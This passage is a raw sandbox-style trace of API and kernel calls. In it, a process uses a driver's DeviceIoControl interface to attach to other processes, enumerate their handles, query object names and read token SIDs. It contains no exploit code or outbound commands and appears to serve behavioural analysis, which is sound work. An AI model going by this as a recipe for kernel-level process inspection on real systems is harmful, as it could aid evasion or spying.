ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.957] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.957] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.957] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.957] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.959] CloseHandle (hObject=0xc8) returned 1 [0075.959] CloseHandle (hObject=0xc0) returned 1 [0075.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0075.959] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.959] PsAcquireProcessExitSynchronization () returned 0x0 [0075.959] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0075.959] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003645b80, HandleInformation=0x0) returned 0x0 [0075.959] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.959] PsReleaseProcessExitSynchronization () returned 0x2 [0075.959] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x23 [0075.959] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.959] ObfDereferenceObject (Object=0xfffffa8003645b80) returned 0x3 [0075.959] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.959] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.959] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.959] PsAcquireProcessExitSynchronization () returned 0x0 [0075.959] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0075.959] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80036f5070, HandleInformation=0x0) returned 0x0 [0075.959] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.959] PsReleaseProcessExitSynchronization () returned 0x2 [0075.959] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x23 [0075.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.960] ObfDereferenceObject (Object=0xfffffa80036f5070) returned 0x1 [0075.960] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.960] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.960] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0075.960] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.960] PsAcquireProcessExitSynchronization () returned 0x0 [0075.960] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0075.960] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800383d070, HandleInformation=0x0) returned 0x0 [0075.960] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.960] PsReleaseProcessExitSynchronization () returned 0x2 [0075.960] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x23 [0075.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.960] ObfDereferenceObject (Object=0xfffffa800383d070) returned 0x1 [0075.960] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.960] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.960] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0075.960] PsLookupProcessByProcessId (in: ProcessId=0xb70, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.960] PsAcquireProcessExitSynchronization () returned 0x0 [0075.960] KeStackAttachProcess (in: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800378d450, ApcState=0xfffff880054f85d0) [0075.960] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800355f800, HandleInformation=0x0) returned 0x0 [0075.960] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.960] PsReleaseProcessExitSynchronization () returned 0x2 [0075.960] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x23 [0075.960] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.960] ObfDereferenceObject (Object=0xfffffa800355f800) returned 0x3 [0075.960] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.960] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.960] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x594) returned 0xc0 [0075.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.961] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80036df060, HandleInformation=0x0) returned 0x0 [0075.961] ObOpenObjectByPointer (in: Object=0xfffffa80036df060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.961] ObfDereferenceObject (Object=0xfffffa80036df060) returned 0x10 [0075.961] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.961] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.961] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.961] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.961] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.962] CloseHandle (hObject=0xc8) returned 1 [0075.962] CloseHandle (hObject=0xc0) returned 1 [0075.962] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.962] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.962] PsAcquireProcessExitSynchronization () returned 0x0 [0075.962] KeStackAttachProcess (in: PROCESS=0xfffffa80036df060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80036df060, ApcState=0xfffff880054f85d0) [0075.963] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80036f5590, HandleInformation=0x0) returned 0x0 [0075.963] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.963] PsReleaseProcessExitSynchronization () returned 0x2 [0075.963] ObfDereferenceObject (Object=0xfffffa80036df060) returned 0xe [0075.963] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800389e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800389e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.963] ObfDereferenceObject (Object=0xfffffa80036f5590) returned 0x1 [0075.963] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.963] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.963] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.963] PsLookupProcessByProcessId (in: ProcessId=0x594, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.963] PsAcquireProcessExitSynchronization () returned 0x0 [0075.963] KeStackAttachProcess (in: PROCESS=0xfffffa80036df060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80036df060, ApcState=0xfffff880054f85d0) [0075.963] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037bd3e0, HandleInformation=0x0) returned 0x0 [0075.963] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.963] PsReleaseProcessExitSynchronization () returned 0x2 [0075.963] ObfDereferenceObject (Object=0xfffffa80036df060) returned 0xe [0075.963] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.963] ObfDereferenceObject (Object=0xfffffa80037bd3e0) returned 0x1 [0075.963] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.963] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.963] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x6e8) returned 0xc0 [0075.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.963] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003648060, HandleInformation=0x0) returned 0x0 [0075.963] ObOpenObjectByPointer (in: Object=0xfffffa8003648060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.963] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x21 [0075.963] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.963] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.963] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.964] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.964] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.965] CloseHandle (hObject=0xc8) returned 1 [0075.965] CloseHandle (hObject=0xc0) returned 1 [0075.965] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.965] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.965] PsAcquireProcessExitSynchronization () returned 0x0 [0075.965] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.965] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800383df20, HandleInformation=0x0) returned 0x0 [0075.965] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.965] PsReleaseProcessExitSynchronization () returned 0x2 [0075.965] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.965] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.965] ObfDereferenceObject (Object=0xfffffa800383df20) returned 0x1 [0075.965] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.965] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.965] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.965] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.965] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.966] PsAcquireProcessExitSynchronization () returned 0x0 [0075.966] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.966] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.966] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.966] PsReleaseProcessExitSynchronization () returned 0x2 [0075.966] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.966] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.966] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.966] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.966] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0075.966] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.966] PsAcquireProcessExitSynchronization () returned 0x0 [0075.966] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.966] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800383d990, HandleInformation=0x0) returned 0x0 [0075.966] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.966] PsReleaseProcessExitSynchronization () returned 0x2 [0075.966] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.966] ObQueryNameString (in: Object=0xfffffa800383d990, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.966] ObfDereferenceObject (Object=0xfffffa800383d990) returned 0x1 [0075.966] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.966] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.966] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.966] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.966] PsAcquireProcessExitSynchronization () returned 0x0 [0075.966] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.966] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80038b52d0, HandleInformation=0x0) returned 0x0 [0075.966] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.967] PsReleaseProcessExitSynchronization () returned 0x2 [0075.967] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.967] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.967] ObfDereferenceObject (Object=0xfffffa80038b52d0) returned 0x1 [0075.967] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.967] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.967] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.967] PsAcquireProcessExitSynchronization () returned 0x0 [0075.967] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.967] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003dfb930, HandleInformation=0x0) returned 0x0 [0075.967] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.967] PsReleaseProcessExitSynchronization () returned 0x2 [0075.967] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.967] ObQueryNameString (in: Object=0xfffff8a003dfb930, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.967] ObfDereferenceObject (Object=0xfffff8a003dfb930) returned 0x1 [0075.967] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.967] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.967] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0075.967] PsLookupProcessByProcessId (in: ProcessId=0x6e8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.967] PsAcquireProcessExitSynchronization () returned 0x0 [0075.967] KeStackAttachProcess (in: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003648060, ApcState=0xfffff880054f85d0) [0075.967] ObReferenceObjectByHandle (in: Handle=0xb0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003975dd0, HandleInformation=0x0) returned 0x0 [0075.967] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.967] PsReleaseProcessExitSynchronization () returned 0x2 [0075.967] ObfDereferenceObject (Object=0xfffffa8003648060) returned 0x1f [0075.967] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.967] ObfDereferenceObject (Object=0xfffffa8003975dd0) returned 0x1 [0075.967] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.968] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.968] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, 